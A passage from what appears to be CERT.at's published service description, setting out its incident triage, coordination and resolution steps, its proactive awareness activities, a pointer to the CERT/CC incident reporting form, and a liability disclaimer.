Determining whether an incident is authentic.
Assessing and prioritizing the incident.

5.1.2. Incident Coordination

Determine the involved organizations.
Contact the involved organizations to investigate the incident and take the appropriate steps.
Facilitate contact to other parties which can help resolve the incident.
Send reports to other CERTs

5.1.3. Incident Resolution

Advise local security teams on appropriate actions.
Follow up on the progress of the concerned local security teams.
Ask for reports.
Report back.

CERT.at will also collect statistics about incidents within its constituency.

5.2 Proactive Activities

CERT.at tries to raise security awareness in its constituency.
Collect contact information of local security teams.
Publish announcements concerning serious security threats.
Observer current trends in technology and distribute relevant knowledge to the constituency.
Provide fora for community building and information exchange within the constituency.

6. Incident Reporting Forms

There are no local forms available yet. If possible, please make use of the Incident Reporting Form of the CERT Coordination Center. The current version is available from: http://www.cert.org/reporting/incident_form.txt.

7. Disclaimers

While every precaution will be taken in the preparation of information, notifications and alerts, CERT.at assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained within.